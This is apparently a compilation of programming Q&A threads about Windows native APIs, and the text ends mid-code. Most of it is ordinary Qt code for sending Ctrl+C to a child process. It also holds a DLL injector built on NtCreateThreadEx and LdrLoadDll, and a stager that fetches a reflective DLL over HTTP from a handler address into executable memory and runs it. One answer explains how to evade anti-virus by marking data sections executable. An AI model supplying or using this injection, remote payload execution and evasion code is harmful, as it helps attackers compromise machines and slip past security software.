Related
I did the simplest injector NtCreateThreadEx + LdrLoadDll, but the injector injects dll into itself and not into the target process (using LoadLibraryW instead of LdrLoadDll ((wchar_t *) 0, 0, & name, & Module)), it works correctly - how can I fix the problem in the simplest way
#include <windows.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")
using namespace std;
EXTERN_C NTSYSAPI NTSTATUS NTAPI NtCreateThreadEx(PHANDLE,
ACCESS_MASK, LPVOID, HANDLE, LPTHREAD_START_ROUTINE, LPVOID,
BOOL, SIZE_T, SIZE_T, SIZE_T, LPVOID);
typedef HMODULE(__stdcall* _LdrLoadDll)(
wchar_t* PathToFile,
unsigned long Flags,
PUNICODE_STRING ModuleFileName,
PHANDLE* ModuleHandle
);
_LdrLoadDll LdrLoadDll;
int main()
{
DWORD targetProcId = 10340; //Proc id to inject
wchar_t targetDllPath[255] = L"C:\\DllTest32.dll"; //dll path to inject
unsigned short targetDllPathLength = sizeof(targetDllPath);
HANDLE targetOpened = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetProcId);
LPVOID allocatedMem = VirtualAllocEx(targetOpened, 0, targetDllPathLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
bool wpm = WriteProcessMemory(targetOpened, allocatedMem, targetDllPath, targetDllPathLength, 0);
LdrLoadDll = (_LdrLoadDll)GetProcAddress(GetModuleHandleA("ntdll.dll"), "LdrLoadDll");
UNICODE_STRING name;
name.Buffer = targetDllPath;
name.Length = wcslen(name.Buffer) * sizeof(wchar_t);
name.MaximumLength = name.Length + sizeof(wchar_t);
PHANDLE Module;
HANDLE rt;
NtCreateThreadEx(
&rt, PROCESS_CREATE_THREAD, NULL, targetOpened,
(LPTHREAD_START_ROUTINE)LdrLoadDll((wchar_t*)0, 0, &name, &Module),
allocatedMem, FALSE, NULL, NULL, NULL, NULL);
}
Hold on to your saddles, this is a long one! Skip to "MCVE" part if you don't want to read everything.
I'm trying to make a process started with QProcess exit gracefully. I do not control how the offending process exits, and it only accepts a Ctrl+C signal. What baffles me is that this sounds really simple and obvious to have in QProcess's API. Yet, here I am :D
This is what I got so far:
Like I said, QProcess does not really support this. So I have to dive into the Windows ecosystem and try to implement it natively. I found GenerateConsoleCtrlEvent in Microsoft Docs. It seems like it does exactly what I need, so I tried using it. After some struggling with handling error messages in the Windows API, this is what I got:
QProcess myprocess = new QProcess(this);
myprocess->setReadChannel(QProcess::StandardOutput);
// I'm sorry that I have to be vague here. I can't really share this part.
myprocess->start("myexec", {"arg1", "arg2"});
//...
auto success = GenerateConsoleCtrlEvent(CTRL_C_EVENT, myprocess->pid()->dwProcessId);
if (!success) {
LPVOID lpMsgBuf;
auto err = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
nullptr,
err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
reinterpret_cast<LPTSTR>(&lpMsgBuf),
0, nullptr );
// probably could have used wcerr, but after making this work I was happy enough with it :D
auto error_string = QString::fromWCharArray((reinterpret_cast<LPTSTR>(lpMsgBuf)));
std::cerr << error_string.toStdString();
LocalFree(lpMsgBuf);
}
This just prints the handle is invalid. to standard error. I kind of expected it, because the docs for GenerateConsoleCtrlEvent say:
dwProcessGroupId [in]
The identifier of the process group to receive the signal. A process group is created when the CREATE_NEW_PROCESS_GROUP flag is specified in a call to the CreateProcess function. The process identifier of the new process is also the process group identifier of a new process group.
... and I was rooting for Qt to be already passing that flag in. This got me stuck for a while, and it seems to be the place where most questions about this here on SO (yes, I've seen them all - I think) seem to have died as well. Then I found QProcess::setCreateProcessArgumentsModifier (With a nice example of usage here) which allows me to inject arguments into the CreateProcess call. Then I updated my code to do this:
QProcess myprocess = new QProcess(this);
myprocess->setCreateProcessArgumentsModifier([this] (QProcess::CreateProcessArguments *args) {
args->flags |= CREATE_NEW_PROCESS_GROUP;
});
myprocess->setReadChannel(QProcess::StandardOutput);
myprocess->start("myexec", {"arg1", "arg2"});
//...
auto success = GenerateConsoleCtrlEvent(CTRL_C_EVENT, myprocess->pid()->dwProcessId);
if (!success) {
LPVOID lpMsgBuf;
auto err = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
nullptr,
err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
reinterpret_cast<LPTSTR>(&lpMsgBuf),
0, nullptr );
auto error_string = QString::fromWCharArray((reinterpret_cast<LPTSTR>(lpMsgBuf)));
std::cerr << error_string.toStdString();
LocalFree(lpMsgBuf);
}
This however gives me the same error (the handle is invalid). From there, I tried other things, like injecting my own PROCESS_INFORMATION struct to make sure I had the correct process identifier, or even adding CREATE_NEW_PROCESS_GROUP to the lpStartupInfo instead - what I now know to be the wrong place, as this caused some strange behavior (The asker in this link is not me :D)
Any ideas? Could I be doing this differently?
I'm using Qt 5.14.2, compiling with MSVC 2017 (64 bit).
MCVE
Making a "Minimal" MCVE for this is not easy :)
I have created a trivial windows application that handles Ctrl+C by simply printing a message. The goal is to make a QProcess trigger this handler, with no side effects. This is the source code for the child process:
#include <atomic>
#include <chrono>
#include <iostream>
#include <thread>
#include "windows.h"
std::atomic<bool> should_stop = false;
BOOL WINAPI consoleHandler(DWORD signal) {
if (signal == CTRL_C_EVENT) {
std::cout << "\nThank you for your Ctrl+C event!\n";
should_stop.store(true);
}
return TRUE;
}
int main() {
if (!SetConsoleCtrlHandler(consoleHandler, TRUE)) {
std::cout << "Failed to set console handler\n";
return 1;
}
while (!should_stop) {
std::cout << "I'll keep printing this message until you stop me." << std::endl; // Yes, I want to flush every time.
std::this_thread::sleep_for(std::chrono::seconds(1));
}
return 0;
}
My "MVCE" for the parent application has a trivial main.cpp, along with a ProcessHolder class with a header and a source file. This is required so that I can have an event loop, and for Qt to be able to moc the class properly (for use in said event loop).
main.cpp
#include <QCoreApplication>
#include <QTimer>
#include <memory>
#include "processholder.h"
int main(int argc, char *argv[])
{
QCoreApplication a(argc, argv);
std::unique_ptr<ProcessHolder> ph(new ProcessHolder());
// Just so I can get the event loop running
QTimer::singleShot(0, ph.get(), &ProcessHolder::waitForInput);
return a.exec();
}
processholder.h
#ifndef PROCESSHOLDER_H
#define PROCESSHOLDER_H
#include <QObject>
#include <QProcess>
class ProcessHolder : public QObject
{
Q_OBJECT
public:
explicit ProcessHolder(QObject *parent = nullptr);
signals:
public slots:
void waitForInput();
private:
QProcess* p;
};
#endif // PROCESSHOLDER_H
processholder.cpp
#include "processholder.h"
#include <iostream>
#include <QTimer>
#include "Windows.h"
void tryFinishProcess(QProcess* p) {
auto success = GenerateConsoleCtrlEvent(CTRL_C_EVENT, p->pid()->dwProcessId);
if (!success) {
LPVOID lpMsgBuf;
auto err = GetLastError();
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
nullptr,
err,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
reinterpret_cast<LPTSTR>(&lpMsgBuf),
0, nullptr );
// probably could have used wcerr, but after making this work I was happy enough with it :D
auto error_string = QString::fromWCharArray((reinterpret_cast<LPTSTR>(lpMsgBuf)));
std::cerr << error_string.toStdString();
LocalFree(lpMsgBuf);
}
}
ProcessHolder::ProcessHolder(QObject *parent) : QObject(parent), p(new QProcess(this))
{
connect(p, &QProcess::readyReadStandardOutput, [this]() {
auto lines = p->readAllStandardOutput();
std::cout << lines.toStdString();
});
// Doing this for this example makes things fail miserably when trying to close the parent program.
// An when not doing it, the CtrlC event that is generated on tryFinishProcess actually ends the
// parent program, rather than the child one.
/*p->setCreateProcessArgumentsModifier([this] (QProcess::CreateProcessArguments *args) {
args->flags |= CREATE_NEW_PROCESS_GROUP;
});*/
std::cout << "starting process...\n";
p->start(R"(path\to\TrivialConsoleApp.exe)");
}
void ProcessHolder::waitForInput(){
char c;
bool quit = false;
// Print a small prompt just so we can differentiate input from output
std::cout << "> ";
if (std::cin >> c) {
switch(c) {
case 'k':
p->kill();
break;
case 't':
p->terminate();
break;
case 'c':
p->close();
break;
case 'g':
tryFinishProcess(p);
}
// any other character will just reliquinsh the hold on standard io for a small time, enough for the
// messages that were sent via cout to show up.
if (!quit) {
QTimer::singleShot(0, this, &ProcessHolder::waitForInput);
}
}
}
A few example runs:
Using QProcess::kill(). Child process is terminated, but no CtrlC message.
Using tryFinishProcess(see implementation above) actually made the parent process exit:
Again, using tryFinishProcess, but this time with CREATE_NEW_PROCESS_GROUP added (See comment on ProcessHolder's constructor). A thing to note here is that pressing RETURN as asked by the terminal at the end does not work anymore (it does nothing), so something broke there:
My expectation for the three samples above (or at least for the last two) is to see a "Thank you for your Ctrl+C event!" message (look at consoleHandler on the child process) somewhere after asking for the process to finish. As it happens if I run it on console then press Ctrl+C:
when CTRL+C is input to a console process, system create thread in this process with entry point
EXTERN_C
WINBASEAPI
ULONG
WINAPI
CtrlRoutine(_In_ DWORD dwCtrlEvent);
this function is exported by kernel32.dll (can be forward export to another dll, say kernelbase.dll)
this CtrlRoutine do next:
if process is being debugged - raise DBG_CONTROL_C exception, then
called registered by SetConsoleCtrlHandler callbacks. if no registered callbacks or all it return false - DefaultHandler is called, which simply call ExitProcess(STATUS_CONTROL_C_EXIT) (Application Exit by CTRL+C)
but possible by self, direct call CreateRemoteThread in target process with entry point at CtrlRoutine and CTRL_C_EVENT as parameter. if target process have the same digit capacity as our - both 32 or 64 bit - no any problem at all - we can import CtrlRoutine already at link time (it defined in kernel32.lib ) or get it address via GetProcAddress. but if our process is 64-bit native and target process is 32-bit (WoW64) - here problem - we need get address of CtrlRoutine inside 32-bit kernel32.dll - but we can not direct load it in self 64-bit process and call GetProcAddress. need map this dll by self and by self get it base and parse export. this task already not trivial. and if we run inside wow64 process (32-bit process on 64bit windows) and target process is 64-bit(native) - task already become really hard (despite solution also exist, without create additional processes). but i assume that control process is native (64bit on 64 bit windows)
#pragma warning( disable : 4201)
#include <Windows.h>
#include <malloc.h>
#define LDR_DATA_TABLE_ENTRY _LDR_DATA_TABLE_ENTRY_
#define PLDR_DATA_TABLE_ENTRY _PLDR_DATA_TABLE_ENTRY_
#include <winternl.h>
#undef PLDR_DATA_TABLE_ENTRY
#undef LDR_DATA_TABLE_ENTRY
#define MAXUSHORT 0xffff
#define MAXULONG 0xffffffff
#define RtlOffsetToPointer(B,O) ((PCHAR)( ((PCHAR)(B)) + ((ULONG_PTR)(O)) ))
#define RtlPointerToOffset(B,P) ((ULONG)( ((PCHAR)(P)) - ((PCHAR)(B)) ))
#define RTL_CONSTANT_STRING(s) { sizeof( s ) - sizeof( (s)[0] ), sizeof( s ), const_cast<PWSTR>(s) }
#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 )
typedef enum _SECTION_INHERIT {
ViewShare = 1,
ViewUnmap = 2
} SECTION_INHERIT;
typedef enum _SECTION_INFORMATION_CLASS
{
SectionBasicInformation, // q; SECTION_BASIC_INFORMATION
SectionImageInformation, // q; SECTION_IMAGE_INFORMATION
SectionRelocationInformation, // name:wow64:whNtQuerySection_SectionRelocationInformation
SectionOriginalBaseInformation, // PVOID BaseAddress
SectionInternalImageInformation, // SECTION_INTERNAL_IMAGE_INFORMATION // since REDSTONE2
MaxSectionInfoClass
} SECTION_INFORMATION_CLASS;
typedef struct SECTION_IMAGE_INFORMATION
{
PVOID TransferAddress;
ULONG ZeroBits;
SIZE_T MaximumStackSize;
SIZE_T CommittedStackSize;
ULONG SubSystemType;
union
{
struct
{
USHORT SubSystemMinorVersion;
USHORT SubSystemMajorVersion;
};
ULONG SubSystemVersion;
};
union
{
struct
{
USHORT MajorOperatingSystemVersion;
USHORT MinorOperatingSystemVersion;
};
ULONG OperatingSystemVersion;
};
USHORT ImageCharacteristics;
USHORT DllCharacteristics;
USHORT Machine;
BOOLEAN ImageContainsCode;
union
{
UCHAR ImageFlags;
struct
{
UCHAR ComPlusNativeReady : 1;
UCHAR ComPlusILOnly : 1;
UCHAR ImageDynamicallyRelocated : 1;
UCHAR ImageMappedFlat : 1;
UCHAR BaseBelow4gb : 1;
UCHAR ComPlusPrefer32bit : 1;
UCHAR Reserved : 2;
};
};
ULONG LoaderFlags;
ULONG ImageFileSize;
ULONG CheckSum;
} *PSECTION_IMAGE_INFORMATION;
typedef struct LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
void *DllBase;
void *EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
// .. more members. trucated
} *PLDR_DATA_TABLE_ENTRY;
EXTERN_C_START
NTSYSAPI
NTSTATUS
NTAPI
LdrFindEntryForAddress(
_In_ PVOID DllHandle,
_Out_ PLDR_DATA_TABLE_ENTRY *Entry
);
NTSYSAPI
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader(
_In_ PVOID Base
);
EXTERN_C
NTSYSAPI
PVOID
NTAPI
RtlImageDirectoryEntryToData(
_In_ PVOID Base,
_In_ BOOLEAN MappedAsImage,
_In_ USHORT DirectoryEntry,
_Out_ PULONG Size
);
NTSYSAPI
NTSTATUS
NTAPI
RtlMultiByteToUnicodeSize(
_Out_ PULONG BytesInUnicodeString,
_In_reads_bytes_(BytesInMultiByteString) const CHAR *MultiByteString,
_In_ ULONG BytesInMultiByteString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlMultiByteToUnicodeSize(
_Out_ PULONG BytesInUnicodeString,
_In_reads_bytes_(BytesInMultiByteString) const CHAR *MultiByteString,
_In_ ULONG BytesInMultiByteString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlMultiByteToUnicodeN(
_Out_writes_bytes_to_(MaxBytesInUnicodeString, *BytesInUnicodeString) PWCH UnicodeString,
_In_ ULONG MaxBytesInUnicodeString,
_Out_opt_ PULONG BytesInUnicodeString,
_In_reads_bytes_(BytesInMultiByteString) const CHAR *MultiByteString,
_In_ ULONG BytesInMultiByteString
);
NTSYSAPI
NTSTATUS
NTAPI
RtlAppendUnicodeToString (
_Inout_ PUNICODE_STRING Destination,
_In_opt_z_ PCWSTR Source
);
NTSYSAPI
NTSTATUS
NTAPI
RtlAppendUnicodeStringToString (
_Inout_ PUNICODE_STRING Destination,
_In_ PCUNICODE_STRING Source
);
NTSYSAPI
BOOLEAN
NTAPI
RtlPrefixUnicodeString(
_In_ PCUNICODE_STRING String1,
_In_ PCUNICODE_STRING String2,
_In_ BOOLEAN CaseInSensitive
);
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection(
_In_ HANDLE ProcessHandle,
_In_opt_ PVOID BaseAddress
);
NTSYSAPI
NTSTATUS
NTAPI
ZwMapViewOfSection(
_In_ HANDLE SectionHandle,
_In_ HANDLE ProcessHandle,
_Outptr_result_bytebuffer_(*ViewSize) PVOID *BaseAddress,
_In_ ULONG_PTR ZeroBits,
_In_ SIZE_T CommitSize,
_Inout_opt_ PLARGE_INTEGER SectionOffset,
_Inout_ PSIZE_T ViewSize,
_In_ SECTION_INHERIT InheritDisposition,
_In_ ULONG AllocationType,
_In_ ULONG Win32Protect
);
NTSYSAPI
NTSTATUS
NTAPI
ZwOpenSection(
_Out_ PHANDLE SectionHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes
);
NTSYSAPI
NTSTATUS
NTAPI
ZwQuerySection(
_In_ HANDLE SectionHandle,
_In_ ULONG SectionInformationClass,
_Out_ PVOID SectionInformation,
_In_ ULONG SectionInformationLength,
_Out_ PSIZE_T ResultLength OPTIONAL
);
NTSYSAPI
NTSTATUS
NTAPI
LdrLoadDll(
_In_opt_ PWSTR DllPath,
_In_opt_ PULONG DllCharacteristics,
_In_ PUNICODE_STRING DllName,
_Out_ HMODULE *DllHandle
);
NTSYSAPI
NTSTATUS
NTAPI
LdrUnloadDll(
_In_ PVOID DllHandle
);
NTSYSAPI
NTSTATUS
NTAPI
LdrGetProcedureAddress(
_In_ PVOID DllHandle,
_In_opt_ PANSI_STRING ProcedureName,
_In_opt_ ULONG ProcedureNumber,
_Out_ PVOID *ProcedureAddress
);
EXTERN_C_END
ULONG GetNameOrdinal(PVOID Base, PDWORD AddressOfNames, DWORD NumberOfNames, PCSTR Name)
{
if (NumberOfNames)
{
DWORD a = 0, o;
do
{
o = (a + NumberOfNames) >> 1;
int i = strcmp(RtlOffsetToPointer(Base, AddressOfNames[o]), Name);
if (!i)
{
return o;
}
0 > i ? a = o + 1 : NumberOfNames = o;
} while (a < NumberOfNames);
}
return MAXULONG;
}
PVOID getWowProcs(PCUNICODE_STRING DllName, PCSTR Name);
PVOID getWowProcs(PVOID ImageBase, PVOID BaseAddress, PCSTR Name)
{
ULONG exportSize, exportRVA;
PIMAGE_EXPORT_DIRECTORY pied = (PIMAGE_EXPORT_DIRECTORY)
RtlImageDirectoryEntryToData(BaseAddress, TRUE, IMAGE_DIRECTORY_ENTRY_EXPORT, &exportSize);
if (!pied) return 0;
exportRVA = RtlPointerToOffset(BaseAddress, pied);
ULONG NumberOfFunctions = pied->NumberOfFunctions;
if (!NumberOfFunctions) return 0;
ULONG NumberOfNames = pied->NumberOfNames;
ULONG OrdinalBase = pied->Base;
PULONG AddressOfFunctions = (PULONG)RtlOffsetToPointer(BaseAddress, pied->AddressOfFunctions);
PULONG AddressOfNames = (PULONG)RtlOffsetToPointer(BaseAddress, pied->AddressOfNames);
PWORD AddressOfNameOrdinals = (PWORD)RtlOffsetToPointer(BaseAddress, pied->AddressOfNameOrdinals);
ULONG o;
if (*Name == '#')
{
if ((o = strtoul(Name + 1, const_cast<char**>(&Name), 10)) < OrdinalBase || *Name)
{
return 0;
}
o -= OrdinalBase;
}
else
{
o = GetNameOrdinal(BaseAddress, AddressOfNames, NumberOfNames, Name);
if (o < NumberOfNames)
{
o = AddressOfNameOrdinals[o];
}
}
if (o >= NumberOfFunctions)
{
return 0;
}
DWORD Rva = AddressOfFunctions[o];
if ((ULONG_PTR)Rva - (ULONG_PTR)exportRVA >= exportSize)
{
return RtlOffsetToPointer(ImageBase, Rva);
}
// forward export
PCSTR pfn = RtlOffsetToPointer(BaseAddress, Rva);
if (!(Name = strrchr(pfn, '.')))
{
return 0;
}
static const WCHAR DLL[] = L"DLL";
ULONG BytesInUnicodeString, BytesInMultiByteString = RtlPointerToOffset(pfn, ++Name);
if (0 > RtlMultiByteToUnicodeSize(&BytesInUnicodeString, pfn, BytesInMultiByteString) ||
(BytesInUnicodeString += sizeof(DLL)) >= MAXUSHORT )
{
return 0;
}
UNICODE_STRING DllName = {
0, (USHORT)BytesInUnicodeString, (PWSTR)alloca(BytesInUnicodeString)
};
if (0 > RtlMultiByteToUnicodeN(DllName.Buffer, DllName.MaximumLength,
&BytesInUnicodeString, pfn, BytesInMultiByteString))
{
return 0;
}
DllName.Length = (USHORT)BytesInUnicodeString;
if (0 > RtlAppendUnicodeToString(&DllName, DLL))
{
return 0;
}
static const UNICODE_STRING API_ = RTL_CONSTANT_STRING(L"API-");
static const UNICODE_STRING EXT_ = RTL_CONSTANT_STRING(L"EXT-");
if (!RtlPrefixUnicodeString(&API_, &DllName, TRUE) &&
!RtlPrefixUnicodeString(&EXT_, &DllName, TRUE))
{
return getWowProcs(&DllName, Name);
}
HMODULE hmod;
if (0 <= LdrLoadDll(0, 0, &DllName, &hmod))
{
ANSI_STRING as, *pas;
if (*Name == '#')
{
pas = 0;
o = strtoul(Name + 1, const_cast<char**>(&Name), 10);
if (*Name)
{
o = 0;
}
}
else
{
o = 0;
RtlInitAnsiString(pas = &as, Name);
}
PVOID pv, pvfn = 0;
if (0 <= LdrGetProcedureAddress(hmod, pas, o, &pv))
{
PLDR_DATA_TABLE_ENTRY ldte;
if (0 <= LdrFindEntryForAddress(pv, &ldte))
{
pvfn = getWowProcs(&ldte->BaseDllName, Name);
}
}
LdrUnloadDll(hmod);
return pvfn;
}
return 0;
}
PVOID getWowProcs(PCUNICODE_STRING DllName, PCSTR Name)
{
static const WCHAR KnownDlls32[] = L"\\KnownDlls32\\";
UNICODE_STRING ObjectName = {
0,
(USHORT)(sizeof(KnownDlls32) + DllName->Length),
(PWSTR)alloca(ObjectName.MaximumLength)
};
if (0 > RtlAppendUnicodeToString(&ObjectName, KnownDlls32) ||
0 > RtlAppendUnicodeStringToString(&ObjectName, DllName))
{
return 0;
}
OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, &ObjectName, OBJ_CASE_INSENSITIVE };
HANDLE hSection;
PVOID pv = 0;
if (0 <= ZwOpenSection(&hSection, SECTION_QUERY|SECTION_MAP_READ, &oa))
{
SECTION_IMAGE_INFORMATION sii;
if (0 <= ZwQuerySection(hSection, SectionImageInformation, &sii, sizeof(sii), 0))
{
PVOID BaseAddress = 0;
SIZE_T ViewSize = 0;
if (0 <= ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, 0, 0, 0, &ViewSize, ViewUnmap, 0, PAGE_READONLY))
{
__try
{
if (PIMAGE_NT_HEADERS32 pinth = (PIMAGE_NT_HEADERS32)RtlImageNtHeader(BaseAddress))
{
pv = getWowProcs((PBYTE)sii.TransferAddress - pinth->OptionalHeader.AddressOfEntryPoint, BaseAddress, Name);
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
ZwUnmapViewOfSection(NtCurrentProcess(), BaseAddress);
}
}
NtClose(hSection);
}
return pv;
}
PVOID GetCtrlRoutine(HANDLE hProcess)
{
BOOL bWow;
if (IsWow64Process(hProcess, &bWow))
{
static const UNICODE_STRING kernel32 = RTL_CONSTANT_STRING(L"kernel32.dll");
if (bWow)
{
static PVOID pvCtrlRoutine = 0;
if (!pvCtrlRoutine)
{
// GetOverlappedResultEx
// just for some extreme case, for better understand code in getWowProcs
// it not need here
// pvCtrlRoutine = getWowProcs(&kernel32, "GetOverlappedResultEx");
pvCtrlRoutine = getWowProcs(&kernel32, "CtrlRoutine");
}
return pvCtrlRoutine;
}
static PVOID pvCtrlRoutine = 0;
if (!pvCtrlRoutine)
{
if (HMODULE hmod = GetModuleHandle(kernel32.Buffer))
{
pvCtrlRoutine = GetProcAddress(hmod, "CtrlRoutine");
}
}
return pvCtrlRoutine;
}
return 0;
}
void SendCtrlEvent(HANDLE hProcess)
{
if (PVOID pv = GetCtrlRoutine(hProcess))
{
if (HANDLE hThread = CreateRemoteThread(hProcess, 0, 0, (PTHREAD_START_ROUTINE)pv, CTRL_C_EVENT, 0, 0))
{
CloseHandle(hThread);
return ;
}
}
TerminateProcess(hProcess, STATUS_CONTROL_C_EXIT);
}
void DemoUseCtrlC()
{
WCHAR AppName[MAX_PATH];
if (ExpandEnvironmentStringsW(L"%SystemRoot%\\syswow64\\ping.exe", AppName, _countof(AppName)))
{
STARTUPINFO si = { sizeof(si)};
PROCESS_INFORMATION pi;
if (CreateProcessW(AppName, const_cast<PWSTR>(L"* -n 999 8.8.8.8"), 0, 0, 0, 0, 0, 0, &si, &pi))
{
CloseHandle(pi.hThread);
MessageBoxW(HWND_DESKTOP, L"Break..", L"CTRL+C", MB_ICONINFORMATION);
SendCtrlEvent(pi.hProcess);
CloseHandle(pi.hProcess);
}
}
}
For starters, you're not running the event loop. All you did with the single shot timer was to run your blocking code from within the event loop, but you never return control to the event loop other than to let your code block it again, and QProcess is not guaranteed to be very helpful to you when you do that.
Running the event loop means that your code does a "small" amount of work, never blocks, and returns as soon as it's done. You cannot use std::cin if you want the event loop to run - not without platform-specific trickery, anyway.
In a simple demo, instead of making it interactive, you could be sending that Ctrl-C once the process has started - in reaction to a signal sent by QProcess - and then add perhaps some extra time (say 500ms).
For interactive use, don't use console, but make a minimal graphical program, e.g. use a widget with a couple of buttons. For an MCVE, use a single main.cpp file, no header files, begin with #include <QtWidgets> and end with #include "main.moc" (the latter only if you had any Q_OBJECT macros or you otherwise need moc output to be compiled into your code), and don't allocate on the heap unless you need to - it's just visual noise (e.g. that std::unique_ptr for the process holder in main is unnecessary, as is pretty much every single dynamic allocation you make elsewhere).
I am trying to write a little program which uses NTAllocateVirtualMemory and GetProcAddress instead of VirtualAlloc.
This is what I have currently:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "CMZO3LLeroANhAyGU2zSsAIz5jz5vBzoX-GgHdghJK_em-WmpzDG35R3OZlriGNbYZaXnBKQmbx51akG5L1K_ANOjpS7-l-buPeeyixDroY9K1bNb3VaaH2HOyl9S5iOg7uH7jmEwP0fot303PtTZOmIO5C92BuBB5QO_wHvKRFy6QT24kHAupIIx7BQ8VUaUoj4lLt576CKo";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
void* payload = { 0 };
SIZE_T size = 4194304;
NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
HttpRequest(handler, URI, UA, Port, method, (char*)payload);
((void(*)())payload)();
}
It seems that after the call to NtAllocateVirtualMemory, the payload variable is not pointing to a memory allocation and is still a nullptr from what I can tell in the debugger. I did not get any errors or exceptions...
The gist behind the program is that it is supposed to retrieve a file over HTTP, place it in the allocated memory buffer and executed (it's a reflective DLL which is going to be written to the buffer). I know that the DLL file was sent by the handler to this application.
The following works, but I need to do this with NTAllocateVirtualMemory :
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
using namespace std;
typedef NTSTATUS(NTAPI *NtAllocVirtualMemoryFunc) (HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
int main()
{
//NtAllocVirtualMemoryFunc NtAllocateVirtualMemory = (NtAllocVirtualMemoryFunc)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
int Port = 4443;
std::string handler = "192.168.1.137";
std::string URI = "yEwWxn1DIjxVi1SJC2BImQrzdFIr9qfwOB1VB75cnCFHuJQoYA7Sgwxdb";
std::string UA = "Mozilla/5.0 (Windows NT 6.1; rv:11.0)";
std::string method = "GET";
//void* payload = { 0 };
//SIZE_T size = 4194304;
//NtAllocateVirtualMemory(GetCurrentProcess(), &payload, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE | PAGE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, (char*)payload);
char* buf = (char*)VirtualAlloc(0, (4 * 1024 * 1024), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
//HttpRequest(handler, URI, UA, Port, method, payload);
HttpRequest(handler, URI, UA, Port, method, buf);
//((void(*)())payload)();
((void(*)())buf)();
}
Since your actual problem is to hide from anti-virus, I would suggest to use a static buffer.
Make data sections executable(in Visual Studio)
Specify Project->Properties->Linker->Specify Section Attributes.
For uninitialized data
uninitialized is still zero initialized
/* global or static*/ char buf[20000];
specify .bss,RWE
(which is probably what you need)
For initialized data
/* global or static*/ char buf[20000]{1};
specify .data,RWE
Both
specify Linker->Command Line->Additional Options as /SECTION:.bss,RWE /SECTION:.data,RWE
This is what I ended up doing in the end, which is very similar to what #Adler suggested above:
#include "pch.h"
#include "windows.h"
#include <iostream>
#include "Memoryapi.h"
#include <wininet.h>
#include <string>
#include "HTTP_Requests.h"
typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
typedef struct _CLIENT_ID { PVOID UniqueProcess; PVOID UniqueThread; } CLIENT_ID, *PCLIENT_ID;
using myNtCreateSection = NTSTATUS(NTAPI*)(OUT PHANDLE SectionHandle, IN ULONG DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPTIONAL, IN ULONG PageAttributess, IN ULONG SectionAttributes, IN HANDLE FileHandle OPTIONAL);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using namespace std;
int main()
{
myNtCreateSection fNtCreateSection = (myNtCreateSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtCreateSection"));
myNtMapViewOfSection fNtMapViewOfSection = (myNtMapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll"), "NtMapViewOfSection"));
SIZE_T size = 4194304;
LARGE_INTEGER sectionSize = { size };
HANDLE sectionHandle = NULL;
PVOID localSectionAddress = NULL, remoteSectionAddress = NULL;
